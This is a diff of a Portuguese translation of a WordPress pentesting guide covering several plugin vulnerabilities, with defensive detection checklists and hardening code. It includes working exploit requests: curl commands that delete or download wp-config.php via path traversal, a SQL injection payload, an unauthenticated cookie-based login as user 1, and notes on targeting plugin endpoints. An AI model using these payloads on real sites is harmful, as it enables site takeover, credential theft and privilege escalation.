Referências: veja os links no final desta página para um caso público e uma análise mais ampla.
|
||||
|
||||
@ -424,7 +424,7 @@ WordPress themes and plugins frequently expose AJAX handlers through the `wp_aja
|
||||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
||||
3. **Strict input sanitisation / validation**.
|
||||
|
||||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||||
O tema multipurpose Litho (< 3.1) esqueceu esses 3 controles na funcionalidade *Remover Família de Fontes* e acabou distribuindo o seguinte código (simplificado):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -445,11 +445,11 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
|
||||
```
|
||||
Problemas introduzidos por este trecho:
|
||||
|
||||
* **Acesso não autenticado** – o `wp_ajax_nopriv_` hook está registrado.
|
||||
* **Sem verificação de nonce / capability** – qualquer visitante pode acessar o endpoint.
|
||||
* **Sem sanitização do caminho** – a string `fontfamily` controlada pelo usuário é concatenada a um caminho do filesystem sem filtragem, permitindo o clássico `../../` traversal.
|
||||
* **Unauthenticated access** – o hook `wp_ajax_nopriv_` está registrado.
|
||||
* **No nonce / capability check** – qualquer visitante pode acessar o endpoint.
|
||||
* **No path sanitisation** – a string controlada pelo usuário `fontfamily` é concatenada a um caminho do sistema de arquivos sem filtragem, permitindo a clássica travessia `../../`.
|
||||
|
||||
#### Exploração
|
||||
#### Exploitation
|
||||
|
||||
Um atacante pode excluir qualquer arquivo ou diretório **abaixo do diretório base de uploads** (normalmente `<wp-root>/wp-content/uploads/`) enviando uma única requisição HTTP POST:
|
||||
```bash
|
||||
@ -457,14 +457,14 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Porque `wp-config.php` fica fora de *uploads*, quatro sequências de `../` são suficientes em uma instalação padrão. Deletar `wp-config.php` força o WordPress a entrar no *installation wizard* na próxima visita, permitindo a tomada completa do site (o atacante apenas fornece uma nova configuração de DB e cria um usuário admin).
|
||||
Porque `wp-config.php` fica fora de *uploads*, quatro sequências `../` são suficientes em uma instalação padrão. Excluir `wp-config.php` força o WordPress a entrar no *assistente de instalação* na próxima visita, permitindo a tomada completa do site (o atacante apenas fornece uma nova configuração de DB e cria um usuário administrador).
|
||||
|
||||
Outros alvos impactantes incluem arquivos `.php` de plugin/theme (para quebrar security plugins) ou regras `.htaccess`.
|
||||
Outros alvos impactantes incluem arquivos `.php` de plugin/theme (para desativar plugins de segurança) ou regras `.htaccess`.
|
||||
|
||||
#### Checklist de detecção
|
||||
|
||||
* Qualquer callback `add_action( 'wp_ajax_nopriv_...')` que chame helpers do sistema de arquivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Concatenação de input de usuário não sanitizado em caminhos (procure por `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Qualquer callback `add_action( 'wp_ajax_nopriv_...')` que invoque filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Concatenação de entrada de usuário não sanitizada em caminhos (procure por `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Ausência de `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Endurecimento
|
||||
@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Sempre** trate qualquer operação de escrita/remoção no disco como privilegiada e verifique duas vezes:
|
||||
> • Autenticação • Autorização • Nonce • Sanitização da entrada • Contenção de caminho (ex.: via `realpath()` plus `str_starts_with()`).
|
||||
> **Sempre** trate qualquer operação de escrita/exclusão em disco como privilegiada e verifique duas vezes:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation via restauração de funções obsoletas e autorização ausente (ASE "View Admin as Role")
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
|
||||
Muitos plugins implementam um recurso de "view as role" ou troca temporária de função salvando a(s) função(ões) originais em user meta para que possam ser restauradas depois. Se o caminho de restauração depender apenas de parâmetros de requisição (por exemplo, `$_REQUEST['reset-for']`) e de uma lista mantida pelo plugin sem verificar capabilities e um nonce válido, isso se torna uma escalada vertical de privilégios.
|
||||
Muitos plugins implementam um recurso "view as role" ou alternância temporária de role salvando o(s) role(s) originais em user meta para que possam ser restaurados mais tarde. Se o caminho de restauração depende apenas de request parameters (e.g., `$_REQUEST['reset-for']`) e de uma lista mantida pelo plugin sem verificar capabilities e um nonce válido, isso se torna uma vertical privilege escalation.
|
||||
|
||||
Um exemplo real foi encontrado no plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). O ramo de reset restaurava funções com base em `reset-for=<username>` se o username aparecesse em um array interno `$options['viewing_admin_as_role_are']`, mas não executava nem um `current_user_can()` nem uma verificação de nonce antes de remover as funções atuais e re-adicionar as funções salvas em user meta `_asenha_view_admin_as_original_roles`:
|
||||
Um exemplo real foi encontrado no plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). O ramo de reset restaurava roles com base em `reset-for=<username>` se o username aparecia em um array interno `$options['viewing_admin_as_role_are']`, mas não executava nem um `current_user_can()` nem uma verificação de nonce antes de remover os roles atuais e re-adicionar os roles salvos do user meta `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -513,13 +513,13 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
```
|
||||
Por que é explorável
|
||||
|
||||
- Confia em `$_REQUEST['reset-for']` e em uma opção do plugin sem autorização no lado do servidor.
|
||||
- Se um usuário anteriormente tinha privilégios mais altos salvos em `_asenha_view_admin_as_original_roles` e foi rebaixado, ele pode restaurá-los acessando o reset path.
|
||||
- Em algumas implantações, qualquer usuário autenticado poderia acionar um reset para outro nome de usuário ainda presente em `viewing_admin_as_role_are` (autorização quebrada).
|
||||
- Confia em `$_REQUEST['reset-for']` e em uma opção do plugin sem autorização no servidor.
|
||||
- Se um usuário anteriormente teve privilégios mais altos salvos em `_asenha_view_admin_as_original_roles` e foi rebaixado, ele pode restaurá-los acessando o caminho de reset.
|
||||
- Em algumas implantações, qualquer usuário autenticado poderia disparar um reset para outro nome de usuário ainda presente em `viewing_admin_as_role_are` (autorização quebrada).
|
||||
|
||||
Pré-requisitos do ataque
|
||||
|
||||
- Versão vulnerável do plugin com o recurso ativado.
|
||||
- Versão vulnerável do plugin com o recurso habilitado.
|
||||
- A conta alvo tem uma role de alto privilégio obsoleta armazenada em user meta de uso anterior.
|
||||
- Qualquer sessão autenticada; ausência de nonce/capability no fluxo de reset.
|
||||
|
||||
@ -531,57 +531,106 @@ Exploração (exemplo)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Em builds vulneráveis isso remove as funções atuais e readiciona as funções originais salvas (por exemplo, `administrator`), escalando privilégios.
|
||||
Em builds vulneráveis isso remove as funções atuais e readiciona as funções originais salvas (por exemplo, `administrator`), escalando privilégios de forma efetiva.
|
||||
|
||||
Checklist de detecção
|
||||
Detection checklist
|
||||
|
||||
- Procure por recursos de troca de função que persistam “funções originais” em user meta (por exemplo, `_asenha_view_admin_as_original_roles`).
|
||||
- Identifique caminhos de reset/restore que:
|
||||
- Identifique paths de reset/restore que:
|
||||
- Leem nomes de usuário de `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modificam funções via `add_role()` / `remove_role()` sem `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorizam com base em um array de opção do plugin (por exemplo, `viewing_admin_as_role_are`) em vez das capacidades do ator.
|
||||
|
||||
Mitigações
|
||||
Hardening
|
||||
|
||||
- Implemente verificações de capability em cada ramo que altere estado (por exemplo, `current_user_can('manage_options')` ou mais restrito).
|
||||
- Aplique verificações de capacidade em todos os ramos que alteram estado (por exemplo, `current_user_can('manage_options')` ou mais restrito).
|
||||
- Exija nonces para todas as mutações de função/permissão e verifique-os: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Nunca confie em nomes de usuário fornecidos pela requisição; resolva o usuário alvo no servidor com base no ator autenticado e em uma política explícita.
|
||||
- Invalide o estado de “funções originais” em atualizações de perfil/função para evitar restauração obsoleta de privilégios elevados:
|
||||
- Nunca confie em nomes de usuário fornecidos na requisição; resolva o usuário alvo no servidor com base no ator autenticado e em política explícita.
|
||||
- Invalide o estado das “funções originais” nas atualizações de perfil/função para evitar restauração obsoleta de privilégios elevados:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
Considere armazenar o mínimo de estado e usar tokens com duração limitada, protegidos por capability, para trocas temporárias de função.
|
||||
- Considere armazenar o mínimo de estado e usar tokens com tempo limitado e protegidos por capability para trocas temporárias de função.
|
||||
|
||||
---
|
||||
|
||||
### Considerações de WAF para WordPress/plugin CVEs
|
||||
### Escalada de privilégio não autenticada via troca de usuário confiável por cookie no init público (Service Finder “sf-booking”)
|
||||
|
||||
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
|
||||
Alguns plugins ligam helpers de troca de usuário ao hook público `init` e derivam a identidade a partir de um cookie controlado pelo cliente. Se o código chamar `wp_set_auth_cookie()` sem verificar autenticação, capability e um nonce válido, qualquer visitante não autenticado pode forçar o login como um ID de usuário arbitrário.
|
||||
|
||||
Padrão vulnerável típico (simplificado de Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
|
||||
service_finder_switch_user($user_id);
|
||||
}
|
||||
if ( isset($_GET['switch_back']) ) {
|
||||
service_finder_switch_back();
|
||||
}
|
||||
}
|
||||
add_action('init', 'service_finder_submit_user_form');
|
||||
|
||||
function service_finder_switch_back() {
|
||||
if ( isset($_COOKIE['original_user_id']) ) {
|
||||
$uid = intval($_COOKIE['original_user_id']);
|
||||
if ( get_userdata($uid) ) {
|
||||
wp_set_current_user($uid);
|
||||
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
|
||||
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
|
||||
setcookie('original_user_id', '', time() - 3600, '/');
|
||||
wp_redirect( admin_url('admin.php?page=candidates') );
|
||||
exit;
|
||||
}
|
||||
wp_die('Original user not found.');
|
||||
}
|
||||
wp_die('No original user found to switch back to.');
|
||||
}
|
||||
```
|
||||
Por que é explorável
|
||||
|
||||
- O hook público `init` torna o handler acessível por unauthenticated users (sem a proteção `is_user_logged_in()`).
|
||||
- A identidade é derivada de um cookie modificável pelo cliente (`original_user_id`).
|
||||
- Uma chamada direta para `wp_set_auth_cookie($uid)` autentica o requisitante como esse usuário sem qualquer verificação de capability/nonce.
|
||||
|
||||
Exploitation (unauthenticated)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
Cookie: original_user_id=1
|
||||
User-Agent: PoC
|
||||
Connection: close
|
||||
```
|
||||
---
|
||||
|
||||
### Considerações de WAF para CVEs do WordPress/plugins
|
||||
|
||||
WAFs genéricos de edge/servidor são ajustados para padrões amplos (SQLi, XSS, LFI). Muitas falhas de alto impacto em WordPress/plugins são bugs de lógica/autenticação específicos da aplicação que parecem tráfego benigno a menos que o motor entenda as rotas do WordPress e a semântica dos plugins.
|
||||
|
||||
Notas ofensivas
|
||||
|
||||
- Mire endpoints específicos do plugin com payloads limpos: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Teste primeiro caminhos não autenticados (AJAX `nopriv`, REST com `permission_callback` permissivo, shortcodes públicos). Payloads padrão frequentemente funcionam sem obfuscação.
|
||||
- Casos típicos de alto impacto: elevação de privilégios (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
- Direcione endpoints específicos de plugins com payloads limpos: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, manipuladores de arquivo personalizados, shortcodes.
|
||||
- Teste caminhos não autenticados primeiro (AJAX `nopriv`, REST com permissive `permission_callback`, shortcodes públicos). Payloads padrão frequentemente têm sucesso sem obfuscação.
|
||||
- Casos típicos de alto impacto: escalonamento de privilégios (controle de acesso quebrado), upload/download arbitrário de arquivos, LFI, open redirect.
|
||||
|
||||
Notas defensivas
|
||||
|
||||
- Não confie em assinaturas genéricas de WAF para proteger CVEs de plugins. Implemente patches virtuais específicos de vulnerabilidade na camada de aplicação ou atualize rapidamente.
|
||||
- Prefira checagens de segurança positivas no código (capabilities, nonces, validação estrita de entrada) em vez de filtros regex negativos.
|
||||
- Não confie em assinaturas de WAF genéricas para proteger CVEs de plugins. Implemente patches virtuais específicos da vulnerabilidade na camada de aplicação ou atualize rapidamente.
|
||||
- Prefira verificações de security positiva no código (capabilities, nonces, validação estrita de entrada) em vez de filtros regex negativos.
|
||||
|
||||
## Proteção do WordPress
|
||||
|
||||
### Atualizações regulares
|
||||
|
||||
Certifique-se de que WordPress, plugins e themes estão atualizados. Também confirme que a atualização automática está habilitada em wp-config.php:
|
||||
Certifique-se de que o WordPress, plugins e temas estejam atualizados. Também confirme que a atualização automática está habilitada em wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Além disso, **instale apenas plugins e temas WordPress confiáveis**.
|
||||
Além disso, **instale apenas plugins e temas confiáveis do WordPress**.
|
||||
|
||||
### Plugins de Segurança
|
||||
|
||||
@ -593,14 +642,13 @@ Além disso, **instale apenas plugins e temas WordPress confiáveis**.
|
||||
|
||||
- Remova o usuário padrão **admin**
|
||||
- Use **senhas fortes** e **2FA**
|
||||
- **Revise** periodicamente as **permissões** dos usuários
|
||||
- **Limite tentativas de login** para prevenir ataques de Brute Force
|
||||
- Renomeie o arquivo **`wp-admin.php`** e permita acesso apenas internamente ou de certos endereços IP.
|
||||
- Revise periodicamente as **permissões** dos **usuários**
|
||||
- **Limite as tentativas de login** para prevenir ataques Brute Force
|
||||
- Renomeie o arquivo **`wp-admin.php`** e permita acesso apenas internamente ou de determinados endereços IP.
|
||||
|
||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
|
||||
### Injeção SQL não autenticada via validação insuficiente (WP Job Portal <= 2.3.2)
|
||||
|
||||
O plugin de recrutamento WP Job Portal expôs uma tarefa **savecategory** que acaba por executar o seguinte código vulnerável dentro de `modules/category/model.php::validateFormData()`:
|
||||
O plugin de recrutamento WP Job Portal expôs uma tarefa **savecategory** que, em última instância, executa o seguinte código vulnerável dentro de `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -610,15 +658,15 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Issues introduced by this snippet:
|
||||
Problems introduzidos por este snippet:
|
||||
|
||||
1. **Unsanitised user input** – `parentid` comes straight from the HTTP request.
|
||||
2. **String concatenation inside the WHERE clause** – no `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Unauthenticated reachability** – although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`.
|
||||
1. **Entrada do utilizador não sanitizada** – `parentid` vem diretamente da requisição HTTP.
|
||||
2. **Concatenação de strings dentro da cláusula WHERE** – ausência de `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Unauthenticated reachability** – embora a ação seja executada através de `admin-post.php`, a única verificação em vigor é um **CSRF nonce** (`wp_verify_nonce()`), que qualquer visitante pode obter de uma página pública que incorpora o shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Exploração
|
||||
|
||||
1. Pegue um nonce novo:
|
||||
1. Obtenha um nonce novo:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
@ -630,18 +678,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
A resposta revela o resultado da query injetada ou altera o banco de dados, comprovando a SQLi.
|
||||
A resposta revela o resultado da query injetada ou altera a base de dados, provando SQLi.
|
||||
|
||||
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Outra tarefa, **downloadcustomfile**, permitia que visitantes baixassem **qualquer arquivo no disco** via path traversal. O sink vulnerável está localizado em `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Outra tarefa, **downloadcustomfile**, permitia a visitantes descarregar **qualquer arquivo no disco** via path traversal. O sink vulnerável está localizado em `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` é controlado pelo atacante e concatenado **sem sanitização**. Novamente, a única barreira é um **CSRF nonce** que pode ser obtido na página de currículo.
|
||||
`$file_name` é controlado pelo atacante e concatenado **sem sanitização**. Novamente, a única barreira é um **CSRF nonce** que pode ser obtido na página do currículo.
|
||||
|
||||
#### Exploração
|
||||
```bash
|
||||
@ -663,5 +711,7 @@ O servidor responde com o conteúdo de `wp-config.php`, leaking DB credentials a
|
||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user